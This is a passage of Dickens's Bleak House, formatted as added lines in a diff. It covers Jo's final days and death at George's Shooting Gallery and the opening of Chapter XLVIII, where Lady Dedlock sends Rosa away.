+revive almost as soon as it passes his lips. "We may repeat that
+dose, Jo," observes Allan after watching him with his attentive face.
+"So! Now we will take five minutes' rest, and then go on again."
+
+Leaving the boy sitting on the bench of the breakfast-stall, with his
+back against an iron railing, Allan Woodcourt paces up and down in
+the early sunshine, casting an occasional look towards him without
+appearing to watch him. It requires no discernment to perceive that
+he is warmed and refreshed. If a face so shaded can brighten, his
+face brightens somewhat; and by little and little he eats the slice
+of bread he had so hopelessly laid down. Observant of these signs of
+improvement, Allan engages him in conversation and elicits to his no
+small wonder the adventure of the lady in the veil, with all its
+consequences. Jo slowly munches as he slowly tells it. When he has
+finished his story and his bread, they go on again.
+
+Intending to refer his difficulty in finding a temporary place of
+refuge for the boy to his old patient, zealous little Miss Flite,
+Allan leads the way to the court where he and Jo first foregathered.
+But all is changed at the rag and bottle shop; Miss Flite no longer
+lodges there; it is shut up; and a hard-featured female, much
+obscured by dust, whose age is a problem, but who is indeed no other
+than the interesting Judy, is tart and spare in her replies. These
+sufficing, however, to inform the visitor that Miss Flite and her
+birds are domiciled with a Mrs. Blinder, in Bell Yard, he repairs to
+that neighbouring place, where Miss Flite (who rises early that she
+may be punctual at the divan of justice held by her excellent friend
+the Chancellor) comes running downstairs with tears of welcome and
+with open arms.
+
+"My dear physician!" cries Miss Flite. "My meritorious,
+distinguished, honourable officer!" She uses some odd expressions,
+but is as cordial and full of heart as sanity itself can be--more so
+than it often is. Allan, very patient with her, waits until she has
+no more raptures to express, then points out Jo, trembling in a
+doorway, and tells her how he comes there.
+
+"Where can I lodge him hereabouts for the present? Now, you have a
+fund of knowledge and good sense and can advise me."
+
+Miss Flite, mighty proud of the compliment, sets herself to consider;
+but it is long before a bright thought occurs to her. Mrs. Blinder is
+entirely let, and she herself occupies poor Gridley's room.
+"Gridley!" exclaims Miss Flite, clapping her hands after a twentieth
+repetition of this remark. "Gridley! To be sure! Of course! My dear
+physician! General George will help us out."
+
+It is hopeless to ask for any information about General George, and
+would be, though Miss Flite had not already run upstairs to put on
+her pinched bonnet and her poor little shawl and to arm herself with
+her reticule of documents. But as she informs her physician in her
+disjointed manner on coming down in full array that General George,
+whom she often calls upon, knows her dear Fitz Jarndyce and takes a
+great interest in all connected with her, Allan is induced to think
+that they may be in the right way. So he tells Jo, for his
+encouragement, that this walking about will soon be over now; and
+they repair to the general's. Fortunately it is not far.
+
+From the exterior of George's Shooting Gallery, and the long entry,
+and the bare perspective beyond it, Allan Woodcourt augurs well. He
+also descries promise in the figure of Mr. George himself, striding
+towards them in his morning exercise with his pipe in his mouth, no
+stock on, and his muscular arms, developed by broadsword and
+dumbbell, weightily asserting themselves through his light
+shirt-sleeves.
+
+"Your servant, sir," says Mr. George with a military salute.
+Good-humouredly smiling all over his broad forehead up into his crisp
+hair, he then defers to Miss Flite, as, with great stateliness, and
+at some length, she performs the courtly ceremony of presentation. He
+winds it up with another "Your servant, sir!" and another salute.
+
+"Excuse me, sir. A sailor, I believe?" says Mr. George.
+
+"I am proud to find I have the air of one," returns Allan; "but I am
+only a sea-going doctor."
+
+"Indeed, sir! I should have thought you was a regular blue-jacket
+myself."
+
+Allan hopes Mr. George will forgive his intrusion the more readily on
+that account, and particularly that he will not lay aside his pipe,
+which, in his politeness, he has testified some intention of doing.
+"You are very good, sir," returns the trooper. "As I know by
+experience that it's not disagreeable to Miss Flite, and since it's
+equally agreeable to yourself--" and finishes the sentence by putting
+it between his lips again. Allan proceeds to tell him all he knows
+about Jo, unto which the trooper listens with a grave face.
+
+"And that's the lad, sir, is it?" he inquires, looking along the
+entry to where Jo stands staring up at the great letters on the
+whitewashed front, which have no meaning in his eyes.
+
+"That's he," says Allan. "And, Mr. George, I am in this difficulty
+about him. I am unwilling to place him in a hospital, even if I could
+procure him immediate admission, because I foresee that he would not
+stay there many hours if he could be so much as got there. The same
+objection applies to a workhouse, supposing I had the patience to be
+evaded and shirked, and handed about from post to pillar in trying to
+get him into one, which is a system that I don't take kindly to."
+
+"No man does, sir," returns Mr. George.
+
+"I am convinced that he would not remain in either place, because he
+is possessed by an extraordinary terror of this person who ordered
+him to keep out of the way; in his ignorance, he believes this person
+to be everywhere, and cognizant of everything."
+
+"I ask your pardon, sir," says Mr. George. "But you have not
+mentioned that party's name. Is it a secret, sir?"
+
+"The boy makes it one. But his name is Bucket."
+
+"Bucket the detective, sir?"
+
+"The same man."
+
+"The man is known to me, sir," returns the trooper after blowing out
+a cloud of smoke and squaring his chest, "and the boy is so far
+correct that he undoubtedly is a--rum customer." Mr. George smokes
+with a profound meaning after this and surveys Miss Flite in silence.
+
+"Now, I wish Mr. Jarndyce and Miss Summerson at least to know that
+this Jo, who tells so strange a story, has reappeared, and to have it
+in their power to speak with him if they should desire to do so.
+Therefore I want to get him, for the present moment, into any poor
+lodging kept by decent people where he would be admitted. Decent
+people and Jo, Mr. George," says Allan, following the direction of
+the trooper's eyes along the entry, "have not been much acquainted,
+as you see. Hence the difficulty. Do you happen to know any one in
+this neighbourhood who would receive him for a while on my paying for
+him beforehand?"
+
+As he puts the question, he becomes aware of a dirty-faced little man
+standing at the trooper's elbow and looking up, with an oddly twisted
+figure and countenance, into the trooper's face. After a few more
+puffs at his pipe, the trooper looks down askant at the little man,
+and the little man winks up at the trooper.
+
+"Well, sir," says Mr. George, "I can assure you that I would
+willingly be knocked on the head at any time if it would be at all
+agreeable to Miss Summerson, and consequently I esteem it a privilege
+to do that young lady any service, however small. We are naturally in
+the vagabond way here, sir, both myself and Phil. You see what the
+place is. You are welcome to a quiet corner of it for the boy if the
+same would meet your views. No charge made, except for rations. We
+are not in a flourishing state of circumstances here, sir. We are
+liable to be tumbled out neck and crop at a moment's notice. However,
+sir, such as the place is, and so long as it lasts, here it is at
+your service."
+
+With a comprehensive wave of his pipe, Mr. George places the whole
+building at his visitor's disposal.
+
+"I take it for granted, sir," he adds, "you being one of the medical
+staff, that there is no present infection about this unfortunate
+subject?"
+
+Allan is quite sure of it.
+
+"Because, sir," says Mr. George, shaking his head sorrowfully, "we
+have had enough of that."
+
+His tone is no less sorrowfully echoed by his new acquaintance.
+"Still I am bound to tell you," observes Allan after repeating his
+former assurance, "that the boy is deplorably low and reduced and
+that he may be--I do not say that he is--too far gone to recover."
+
+"Do you consider him in present danger, sir?" inquires the trooper.
+
+"Yes, I fear so."
+
+"Then, sir," returns the trooper in a decisive manner, "it appears to
+me--being naturally in the vagabond way myself--that the sooner he
+comes out of the street, the better. You, Phil! Bring him in!"
+
+Mr. Squod tacks out, all on one side, to execute the word of command;
+and the trooper, having smoked his pipe, lays it by. Jo is brought
+in. He is not one of Mrs. Pardiggle's Tockahoopo Indians; he is not
+one of Mrs. Jellyby's lambs, being wholly unconnected with
+Borrioboola-Gha; he is not softened by distance and unfamiliarity; he
+is not a genuine foreign-grown savage; he is the ordinary home-made
+article. Dirty, ugly, disagreeable to all the senses, in body a
+common creature of the common streets, only in soul a heathen. Homely
+filth begrimes him, homely parasites devour him, homely sores are in
+him, homely rags are on him; native ignorance, the growth of English
+soil and climate, sinks his immortal nature lower than the beasts
+that perish. Stand forth, Jo, in uncompromising colours! From the
+sole of thy foot to the crown of thy head, there is nothing
+interesting about thee.
+
+He shuffles slowly into Mr. George's gallery and stands huddled
+together in a bundle, looking all about the floor. He seems to know
+that they have an inclination to shrink from him, partly for what he
+is and partly for what he has caused. He, too, shrinks from them. He
+is not of the same order of things, not of the same place in
+creation. He is of no order and no place, neither of the beasts nor
+of humanity.
+
+"Look here, Jo!" says Allan. "This is Mr. George."
+
+Jo searches the floor for some time longer, then looks up for a
+moment, and then down again.
+
+"He is a kind friend to you, for he is going to give you lodging room
+here."
+
+Jo makes a scoop with one hand, which is supposed to be a bow. After
+a little more consideration and some backing and changing of the foot
+on which he rests, he mutters that he is "wery thankful."
+
+"You are quite safe here. All you have to do at present is to be
+obedient and to get strong. And mind you tell us the truth here,
+whatever you do, Jo."
+
+"Wishermaydie if I don't, sir," says Jo, reverting to his favourite
+declaration. "I never done nothink yit, but wot you knows on, to get
+myself into no trouble. I never was in no other trouble at all, sir,
+'sept not knowin' nothink and starwation."
+
+"I believe it, now attend to Mr. George. I see he is going to speak
+to you."
+
+"My intention merely was, sir," observes Mr. George, amazingly broad
+and upright, "to point out to him where he can lie down and get a
+thorough good dose of sleep. Now, look here." As the trooper speaks,
+he conducts them to the other end of the gallery and opens one of the
+little cabins. "There you are, you see! Here is a mattress, and here
+you may rest, on good behaviour, as long as Mr., I ask your pardon,
+sir"--he refers apologetically to the card Allan has given him--"Mr.
+Woodcourt pleases. Don't you be alarmed if you hear shots; they'll be
+aimed at the target, and not you. Now, there's another thing I would
+recommend, sir," says the trooper, turning to his visitor. "Phil,
+come here!"
+
+Phil bears down upon them according to his usual tactics. "Here is a
+man, sir, who was found, when a baby, in the gutter. Consequently, it
+is to be expected that he takes a natural interest in this poor
+creature. You do, don't you, Phil?"
+
+"Certainly and surely I do, guv'ner," is Phil's reply.
+
+"Now I was thinking, sir," says Mr. George in a martial sort of
+confidence, as if he were giving his opinion in a council of war at a
+drum-head, "that if this man was to take him to a bath and was to lay
+out a few shillings in getting him one or two coarse articles--"
+
+"Mr. George, my considerate friend," returns Allan, taking out his
+purse, "it is the very favour I would have asked."
+
+Phil Squod and Jo are sent out immediately on this work of
+improvement. Miss Flite, quite enraptured by her success, makes the
+best of her way to court, having great fears that otherwise her
+friend the Chancellor may be uneasy about her or may give the
+judgment she has so long expected in her absence, and observing
+"which you know, my dear physician, and general, after so many years,
+would be too absurdly unfortunate!" Allan takes the opportunity of
+going out to procure some restorative medicines, and obtaining them
+near at hand, soon returns to find the trooper walking up and down
+the gallery, and to fall into step and walk with him.
+
+"I take it, sir," says Mr. George, "that you know Miss Summerson
+pretty well?"
+
+Yes, it appears.
+
+"Not related to her, sir?"
+
+No, it appears.
+
+"Excuse the apparent curiosity," says Mr. George. "It seemed to me
+probable that you might take more than a common interest in this poor
+creature because Miss Summerson had taken that unfortunate interest
+in him. 'Tis MY case, sir, I assure you."
+
+"And mine, Mr. George."
+
+The trooper looks sideways at Allan's sunburnt cheek and bright dark
+eye, rapidly measures his height and build, and seems to approve of
+him.
+
+"Since you have been out, sir, I have been thinking that I
+unquestionably know the rooms in Lincoln's Inn Fields, where Bucket
+took the lad, according to his account. Though he is not acquainted
+with the name, I can help you to it. It's Tulkinghorn. That's what it
+is."
+
+Allan looks at him inquiringly, repeating the name.
+
+"Tulkinghorn. That's the name, sir. I know the man, and know him to
+have been in communication with Bucket before, respecting a deceased
+person who had given him offence. I know the man, sir. To my sorrow."
+
+Allan naturally asks what kind of man he is.
+
+"What kind of man! Do you mean to look at?"
+
+"I think I know that much of him. I mean to deal with. Generally,
+what kind of man?"
+
+"Why, then I'll tell you, sir," returns the trooper, stopping short
+and folding his arms on his square chest so angrily that his face
+fires and flushes all over; "he is a confoundedly bad kind of man. He
+is a slow-torturing kind of man. He is no more like flesh and blood
+than a rusty old carbine is. He is a kind of man--by George!--that
+has caused me more restlessness, and more uneasiness, and more
+dissatisfaction with myself than all other men put together. That's
+the kind of man Mr. Tulkinghorn is!"
+
+"I am sorry," says Allan, "to have touched so sore a place."
+
+"Sore?" The trooper plants his legs wider apart, wets the palm of his
+broad right hand, and lays it on the imaginary moustache. "It's no
+fault of yours, sir; but you shall judge. He has got a power over me.
+He is the man I spoke of just now as being able to tumble me out of
+this place neck and crop. He keeps me on a constant see-saw. He won't
+hold off, and he won't come on. If I have a payment to make him, or
+time to ask him for, or anything to go to him about, he don't see me,
+don't hear me--passes me on to Melchisedech's in Clifford's Inn,
+Melchisedech's in Clifford's Inn passes me back again to him--he
+keeps me prowling and dangling about him as if I was made of the same
+stone as himself. Why, I spend half my life now, pretty well,
+loitering and dodging about his door. What does he care? Nothing.
+Just as much as the rusty old carbine I have compared him to. He
+chafes and goads me till--Bah! Nonsense! I am forgetting myself. Mr.
+Woodcourt," the trooper resumes his march, "all I say is, he is an
+old man; but I am glad I shall never have the chance of setting spurs
+to my horse and riding at him in a fair field. For if I had that
+chance, in one of the humours he drives me into--he'd go down, sir!"
+
+Mr. George has been so excited that he finds it necessary to wipe his
+forehead on his shirt-sleeve. Even while he whistles his impetuosity
+away with the national anthem, some involuntary shakings of his head
+and heavings of his chest still linger behind, not to mention an
+occasional hasty adjustment with both hands of his open shirt-collar,
+as if it were scarcely open enough to prevent his being troubled by a
+choking sensation. In short, Allan Woodcourt has not much doubt about
+the going down of Mr. Tulkinghorn on the field referred to.
+
+Jo and his conductor presently return, and Jo is assisted to his
+mattress by the careful Phil, to whom, after due administration of
+medicine by his own hands, Allan confides all needful means and
+instructions. The morning is by this time getting on apace. He
+repairs to his lodgings to dress and breakfast, and then, without
+seeking rest, goes away to Mr. Jarndyce to communicate his discovery.
+
+With him Mr. Jarndyce returns alone, confidentially telling him that
+there are reasons for keeping this matter very quiet indeed and
+showing a serious interest in it. To Mr. Jarndyce, Jo repeats in
+substance what he said in the morning, without any material
+variation. Only that cart of his is heavier to draw, and draws with a
+hollower sound.
+
+"Let me lay here quiet and not be chivied no more," falters Jo, "and
+be so kind any person as is a-passin nigh where I used fur to sleep,
+as jist to say to Mr. Sangsby that Jo, wot he known once, is a-moving
+on right forards with his duty, and I'll be wery thankful. I'd be
+more thankful than I am aready if it wos any ways possible for an
+unfortnet to be it."
+
+He makes so many of these references to the law-stationer in the
+course of a day or two that Allan, after conferring with Mr.
+Jarndyce, good-naturedly resolves to call in Cook's Court, the
+rather, as the cart seems to be breaking down.
+
+To Cook's Court, therefore, he repairs. Mr. Snagsby is behind his
+counter in his grey coat and sleeves, inspecting an indenture of
+several skins which has just come in from the engrosser's, an immense
+desert of law-hand and parchment, with here and there a resting-place
+of a few large letters to break the awful monotony and save the
+traveller from despair. Mr Snagsby puts up at one of these inky wells
+and greets the stranger with his cough of general preparation for
+business.
+
+"You don't remember me, Mr. Snagsby?"
+
+The stationer's heart begins to thump heavily, for his old
+apprehensions have never abated. It is as much as he can do to
+answer, "No, sir, I can't say I do. I should have considered--not to
+put too fine a point upon it--that I never saw you before, sir."
+
+"Twice before," says Allan Woodcourt. "Once at a poor bedside, and
+once--"
+
+"It's come at last!" thinks the afflicted stationer, as recollection
+breaks upon him. "It's got to a head now and is going to burst!" But
+he has sufficient presence of mind to conduct his visitor into the
+little counting-house and to shut the door.
+
+"Are you a married man, sir?"
+
+"No, I am not."
+
+"Would you make the attempt, though single," says Mr. Snagsby in a
+melancholy whisper, "to speak as low as you can? For my little woman
+is a-listening somewheres, or I'll forfeit the business and five
+hundred pound!"
+
+In deep dejection Mr. Snagsby sits down on his stool, with his back
+against his desk, protesting, "I never had a secret of my own, sir. I
+can't charge my memory with ever having once attempted to deceive my
+little woman on my own account since she named the day. I wouldn't
+have done it, sir. Not to put too fine a point upon it, I couldn't
+have done it, I dursn't have done it. Whereas, and nevertheless, I
+find myself wrapped round with secrecy and mystery, till my life is a
+burden to me."
+
+His visitor professes his regret to hear it and asks him does he
+remember Jo. Mr. Snagsby answers with a suppressed groan, oh, don't
+he!
+
+"You couldn't name an individual human being--except myself--that my
+little woman is more set and determined against than Jo," says Mr.
+Snagsby.
+
+Allan asks why.
+
+"Why?" repeats Mr. Snagsby, in his desperation clutching at the clump
+of hair at the back of his bald head. "How should I know why? But you
+are a single person, sir, and may you long be spared to ask a married
+person such a question!"
+
+With this beneficent wish, Mr. Snagsby coughs a cough of dismal
+resignation and submits himself to hear what the visitor has to
+communicate.
+
+"There again!" says Mr. Snagsby, who, between the earnestness of his
+feelings and the suppressed tones of his voice is discoloured in the
+face. "At it again, in a new direction! A certain person charges me,
+in the solemnest way, not to talk of Jo to any one, even my little
+woman. Then comes another certain person, in the person of yourself,
+and charges me, in an equally solemn way, not to mention Jo to that
+other certain person above all other persons. Why, this is a private
+asylum! Why, not to put too fine a point upon it, this is Bedlam,
+sir!" says Mr. Snagsby.
+
+But it is better than he expected after all, being no explosion of
+the mine below him or deepening of the pit into which he has fallen.
+And being tender-hearted and affected by the account he hears of Jo's
+condition, he readily engages to "look round" as early in the evening
+as he can manage it quietly. He looks round very quietly when the
+evening comes, but it may turn out that Mrs. Snagsby is as quiet a
+manager as he.
+
+Jo is very glad to see his old friend and says, when they are left
+alone, that he takes it uncommon kind as Mr. Sangsby should come so
+far out of his way on accounts of sich as him. Mr. Snagsby, touched
+by the spectacle before him, immediately lays upon the table half a
+crown, that magic balsam of his for all kinds of wounds.
+
+"And how do you find yourself, my poor lad?" inquires the stationer
+with his cough of sympathy.
+
+"I am in luck, Mr. Sangsby, I am," returns Jo, "and don't want for
+nothink. I'm more cumfbler nor you can't think. Mr. Sangsby! I'm wery
+sorry that I done it, but I didn't go fur to do it, sir."
+
+The stationer softly lays down another half-crown and asks him what
+it is that he is sorry for having done.
+
+"Mr. Sangsby," says Jo, "I went and giv a illness to the lady as wos
+and yit as warn't the t'other lady, and none of 'em never says
+nothink to me for having done it, on accounts of their being ser good
+and my having been s'unfortnet. The lady come herself and see me
+yesday, and she ses, 'Ah, Jo!' she ses. 'We thought we'd lost you,
+Jo!' she ses. And she sits down a-smilin so quiet, and don't pass a
+word nor yit a look upon me for having done it, she don't, and I
+turns agin the wall, I doos, Mr. Sangsby. And Mr. Jarnders, I see him
+a-forced to turn away his own self. And Mr. Woodcot, he come fur to
+giv me somethink fur to ease me, wot he's allus a-doin' on day and
+night, and wen he come a-bending over me and a-speakin up so bold, I
+see his tears a-fallin, Mr. Sangsby."
+
+The softened stationer deposits another half-crown on the table.
+Nothing less than a repetition of that infallible remedy will relieve
+his feelings.
+
+"Wot I was a-thinkin on, Mr. Sangsby," proceeds Jo, "wos, as you wos
+able to write wery large, p'raps?"
+
+"Yes, Jo, please God," returns the stationer.
+
+"Uncommon precious large, p'raps?" says Jo with eagerness.
+
+"Yes, my poor boy."
+
+Jo laughs with pleasure. "Wot I wos a-thinking on then, Mr. Sangsby,
+wos, that when I wos moved on as fur as ever I could go and couldn't
+be moved no furder, whether you might be so good p'raps as to write
+out, wery large so that any one could see it anywheres, as that I wos
+wery truly hearty sorry that I done it and that I never went fur to
+do it, and that though I didn't know nothink at all, I knowd as Mr.
+Woodcot once cried over it and wos allus grieved over it, and that I
+hoped as he'd be able to forgive me in his mind. If the writin could
+be made to say it wery large, he might."
+
+"It shall say it, Jo. Very large."
+
+Jo laughs again. "Thankee, Mr. Sangsby. It's wery kind of you, sir,
+and it makes me more cumfbler nor I was afore."
+
+The meek little stationer, with a broken and unfinished cough, slips
+down his fourth half-crown--he has never been so close to a case
+requiring so many--and is fain to depart. And Jo and he, upon this
+little earth, shall meet no more. No more.
+
+For the cart so hard to draw is near its journey's end and drags over
+stony ground. All round the clock it labours up the broken steps,
+shattered and worn. Not many times can the sun rise and behold it
+still upon its weary road.
+
+Phil Squod, with his smoky gunpowder visage, at once acts as nurse
+and works as armourer at his little table in a corner, often looking
+round and saying with a nod of his green-baize cap and an encouraging
+elevation of his one eyebrow, "Hold up, my boy! Hold up!" There, too,
+is Mr. Jarndyce many a time, and Allan Woodcourt almost always, both
+thinking, much, how strangely fate has entangled this rough outcast
+in the web of very different lives. There, too, the trooper is a
+frequent visitor, filling the doorway with his athletic figure and,
+from his superfluity of life and strength, seeming to shed down
+temporary vigour upon Jo, who never fails to speak more robustly in
+answer to his cheerful words.
+
+Jo is in a sleep or in a stupor to-day, and Allan Woodcourt, newly
+arrived, stands by him, looking down upon his wasted form. After a
+while he softly seats himself upon the bedside with his face towards
+him--just as he sat in the law-writer's room--and touches his chest
+and heart. The cart had very nearly given up, but labours on a little
+more.
+
+The trooper stands in the doorway, still and silent. Phil has stopped
+in a low clinking noise, with his little hammer in his hand. Mr.
+Woodcourt looks round with that grave professional interest and
+attention on his face, and glancing significantly at the trooper,
+signs to Phil to carry his table out. When the little hammer is next
+used, there will be a speck of rust upon it.
+
+"Well, Jo! What is the matter? Don't be frightened."
+
+"I thought," says Jo, who has started and is looking round, "I
+thought I was in Tom-all-Alone's agin. Ain't there nobody here but
+you, Mr. Woodcot?"
+
+"Nobody."
+
+"And I ain't took back to Tom-all-Alone's. Am I, sir?"
+
+"No." Jo closes his eyes, muttering, "I'm wery thankful."
+
+After watching him closely a little while, Allan puts his mouth very
+near his ear and says to him in a low, distinct voice, "Jo! Did you
+ever know a prayer?"
+
+"Never knowd nothink, sir."
+
+"Not so much as one short prayer?"
+
+"No, sir. Nothink at all. Mr. Chadbands he wos a-prayin wunst at Mr.
+Sangsby's and I heerd him, but he sounded as if he wos a-speakin to
+hisself, and not to me. He prayed a lot, but I couldn't make out
+nothink on it. Different times there was other genlmen come down
+Tom-all-Alone's a-prayin, but they all mostly sed as the t'other
+'wuns prayed wrong, and all mostly sounded to be a-talking to
+theirselves, or a-passing blame on the t'others, and not a-talkin to
+us. WE never knowd nothink. I never knowd what it wos all about."
+
+It takes him a long time to say this, and few but an experienced and
+attentive listener could hear, or, hearing, understand him. After a
+short relapse into sleep or stupor, he makes, of a sudden, a strong
+effort to get out of bed.
+
+"Stay, Jo! What now?"
+
+"It's time for me to go to that there berryin ground, sir," he
+returns with a wild look.
+
+"Lie down, and tell me. What burying ground, Jo?"
+
+"Where they laid him as wos wery good to me, wery good to me indeed,
+he wos. It's time fur me to go down to that there berryin ground,
+sir, and ask to be put along with him. I wants to go there and be
+berried. He used fur to say to me, 'I am as poor as you to-day, Jo,'
+he ses. I wants to tell him that I am as poor as him now and have
+come there to be laid along with him."
+
+"By and by, Jo. By and by."
+
+"Ah! P'raps they wouldn't do it if I wos to go myself. But will you
+promise to have me took there, sir, and laid along with him?"
+
+"I will, indeed."
+
+"Thankee, sir. Thankee, sir. They'll have to get the key of the gate
+afore they can take me in, for it's allus locked. And there's a step
+there, as I used for to clean with my broom. It's turned wery dark,
+sir. Is there any light a-comin?"
+
+"It is coming fast, Jo."
+
+Fast. The cart is shaken all to pieces, and the rugged road is very
+near its end.
+
+"Jo, my poor fellow!"
+
+"I hear you, sir, in the dark, but I'm a-gropin--a-gropin--let me
+catch hold of your hand."
+
+"Jo, can you say what I say?"
+
+"I'll say anythink as you say, sir, for I knows it's good."
+
+"Our Father."
+
+"Our Father! Yes, that's wery good, sir."
+
+"Which art in heaven."
+
+"Art in heaven--is the light a-comin, sir?"
+
+"It is close at hand. Hallowed be thy name!"
+
+"Hallowed be--thy--"
+
+The light is come upon the dark benighted way. Dead!
+
+Dead, your Majesty. Dead, my lords and gentlemen. Dead, right
+reverends and wrong reverends of every order. Dead, men and women,
+born with heavenly compassion in your hearts. And dying thus around
+us every day.
+
+
+
+
+CHAPTER XLVIII
+
+Closing In
+
+
+The place in Lincolnshire has shut its many eyes again, and the house
+in town is awake. In Lincolnshire the Dedlocks of the past doze in
+their picture-frames, and the low wind murmurs through the long
+drawing-room as if they were breathing pretty regularly. In town the
+Dedlocks of the present rattle in their fire-eyed carriages through
+the darkness of the night, and the Dedlock Mercuries, with ashes (or
+hair-powder) on their heads, symptomatic of their great humility,
+loll away the drowsy mornings in the little windows of the hall. The
+fashionable world--tremendous orb, nearly five miles round--is in
+full swing, and the solar system works respectfully at its appointed
+distances.
+
+Where the throng is thickest, where the lights are brightest, where
+all the senses are ministered to with the greatest delicacy and
+refinement, Lady Dedlock is. From the shining heights she has scaled
+and taken, she is never absent. Though the belief she of old reposed
+in herself as one able to reserve whatsoever she would under
+her mantle of pride is beaten down, though she has no assurance
+that what she is to those around her she will remain another day,
+it is not in her nature when envious eyes are looking on to
+yield or to droop. They say of her that she has lately grown
+more handsome and more haughty. The debilitated cousin says of
+her that she's beauty nough--tsetup shopofwomen--but rather
+larming kind--remindingmanfact--inconvenient woman--who WILL
+getoutofbedandbawthstahlishment--Shakespeare.
+
+Mr. Tulkinghorn says nothing, looks nothing. Now, as heretofore, he
+is to be found in doorways of rooms, with his limp white cravat
+loosely twisted into its old-fashioned tie, receiving patronage from
+the peerage and making no sign. Of all men he is still the last who
+might be supposed to have any influence upon my Lady. Of all women
+she is still the last who might be supposed to have any dread of him.
+
+One thing has been much on her mind since their late interview in his
+turret-room at Chesney Wold. She is now decided, and prepared to
+throw it off.
+
+It is morning in the great world, afternoon according to the little
+sun. The Mercuries, exhausted by looking out of window, are reposing
+in the hall and hang their heavy heads, the gorgeous creatures, like
+overblown sunflowers. Like them, too, they seem to run to a deal of
+seed in their tags and trimmings. Sir Leicester, in the library, has
+fallen asleep for the good of the country over the report of a
+Parliamentary committee. My Lady sits in the room in which she gave
+audience to the young man of the name of Guppy. Rosa is with her and
+has been writing for her and reading to her. Rosa is now at work upon
+embroidery or some such pretty thing, and as she bends her head over
+it, my Lady watches her in silence. Not for the first time to-day.
+
+"Rosa."
+
+The pretty village face looks brightly up. Then, seeing how serious
+my Lady is, looks puzzled and surprised.
+
+"See to the door. Is it shut?"
+
+Yes. She goes to it and returns, and looks yet more surprised.
+
+"I am about to place confidence in you, child, for I know I may trust
+your attachment, if not your judgment. In what I am going to do, I
+will not disguise myself to you at least. But I confide in you. Say
+nothing to any one of what passes between us."
+
+The timid little beauty promises in all earnestness to be
+trustworthy.
+
+"Do you know," Lady Dedlock asks her, signing to her to bring her
+chair nearer, "do you know, Rosa, that I am different to you from
+what I am to any one?"
+
+"Yes, my Lady. Much kinder. But then I often think I know you as you
+really are."
+
+"You often think you know me as I really am? Poor child, poor child!"
+
+She says it with a kind of scorn--though not of Rosa--and sits
+brooding, looking dreamily at her.
+
+"Do you think, Rosa, you are any relief or comfort to me? Do you
+suppose your being young and natural, and fond of me and grateful to
+me, makes it any pleasure to me to have you near me?"
+
+"I don't know, my Lady; I can scarcely hope so. But with all my
+heart, I wish it was so."
+
+"It is so, little one."
+
+The pretty face is checked in its flush of pleasure by the dark
+expression on the handsome face before it. It looks timidly for an
+explanation.
+
+"And if I were to say to-day, 'Go! Leave me!' I should say what would
+give me great pain and disquiet, child, and what would leave me very
+solitary."
+
+"My Lady! Have I offended you?"
+
+"In nothing. Come here."
+
+Rosa bends down on the footstool at my Lady's feet. My Lady, with
+that motherly touch of the famous ironmaster night, lays her hand
+upon her dark hair and gently keeps it there.
+
+"I told you, Rosa, that I wished you to be happy and that I would
+make you so if I could make anybody happy on this earth. I cannot.
+There are reasons now known to me, reasons in which you have no part,
+rendering it far better for you that you should not remain here. You
+must not remain here. I have determined that you shall not. I have
+written to the father of your lover, and he will be here to-day. All
+this I have done for your sake."
+
+The weeping girl covers her hand with kisses and says what shall she
+do, what shall she do, when they are separated! Her mistress kisses
+her on the cheek and makes no other answer.
+
+"Now, be happy, child, under better circumstances. Be beloved and
+happy!"
+
+"Ah, my Lady, I have sometimes thought--forgive my being so
+free--that YOU are not happy."
+
+"I!"
+
+"Will you be more so when you have sent me away? Pray, pray, think
+again. Let me stay a little while!"
+
+"I have said, my child, that what I do, I do for your sake, not my
+own. It is done. What I am towards you, Rosa, is what I am now--not
+what I shall be a little while hence. Remember this, and keep my
+confidence. Do so much for my sake, and thus all ends between us!"
+
+She detaches herself from her simple-hearted companion and leaves the
+room. Late in the afternoon, when she next appears upon the
+staircase, she is in her haughtiest and coldest state. As indifferent
+as if all passion, feeling, and interest had been worn out in the
+earlier ages of the world and had perished from its surface with its
+other departed monsters.
+
+Mercury has announced Mr. Rouncewell, which is the cause of her
+appearance. Mr. Rouncewell is not in the library, but she repairs to
+the library. Sir Leicester is there, and she wishes to speak to him
+first.
+
+"Sir Leicester, I am desirous--but you are engaged."
+
+Oh, dear no! Not at all. Only Mr. Tulkinghorn.
+
+Always at hand. Haunting every place. No relief or security from him
+for a moment.
+
+"I beg your pardon, Lady Dedlock. Will you allow me to retire?"
+
+With a look that plainly says, "You know you have the power to remain
+if you will," she tells him it is not necessary and moves towards a
+chair. Mr. Tulkinghorn brings it a little forward for her with his
+clumsy bow and retires into a window opposite. Interposed between her
+and the fading light of day in the now quiet street, his shadow falls
+upon her, and he darkens all before her. Even so does he darken her
+life.
+
+It is a dull street under the best conditions, where the two long
+rows of houses stare at each other with that severity that
+half-a-dozen of its greatest mansions seem to have been slowly stared
+into stone rather than originally built in that material. It is a
+street of such dismal grandeur, so determined not to condescend to
+liveliness, that the doors and windows hold a gloomy state of their
+own in black paint and dust, and the echoing mews behind have a dry
+and massive appearance, as if they were reserved to stable the stone
+chargers of noble statues. Complicated garnish of iron-work entwines
+itself over the flights of steps in this awful street, and from these
+petrified bowers, extinguishers for obsolete flambeaux gasp at the
+upstart gas. Here and there a weak little iron hoop, through which
+bold boys aspire to throw their friends' caps (its only present use),
+retains its place among the rusty foliage, sacred to the memory of
+departed oil. Nay, even oil itself, yet lingering at long intervals
+in a little absurd glass pot, with a knob in the bottom like an
+oyster, blinks and sulks at newer lights every night, like its high
+and dry master in the House of Lords.
+
+Therefore there is not much that Lady Dedlock, seated in her chair,
+could wish to see through the window in which Mr. Tulkinghorn stands.
+And yet--and yet--she sends a look in that direction as if it were
+her heart's desire to have that figure moved out of the way.
+
+Sir Leicester begs his Lady's pardon. She was about to say?
+
+"Only that Mr. Rouncewell is here (he has called by my appointment)
+and that we had better make an end of the question of that girl. I am
+tired to death of the matter."
+
+"What can I do--to--assist?" demands Sir Leicester in some
+considerable doubt.
+
+"Let us see him here and have done with it. Will you tell them to
+send him up?"
+
+"Mr. Tulkinghorn, be so good as to ring. Thank you. Request," says
+Sir Leicester to Mercury, not immediately remembering the business
+term, "request the iron gentleman to walk this way."
+
+Mercury departs in search of the iron gentleman, finds, and produces
+him. Sir Leicester receives that ferruginous person graciously.
+
+"I hope you are well, Mr. Rouncewell. Be seated. (My solicitor, Mr.
+Tulkinghorn.) My Lady was desirous, Mr. Rouncewell," Sir Leicester
+skilfully transfers him with a solemn wave of his hand, "was desirous
+to speak with you. Hem!"
+
+"I shall be very happy," returns the iron gentleman, "to give my best
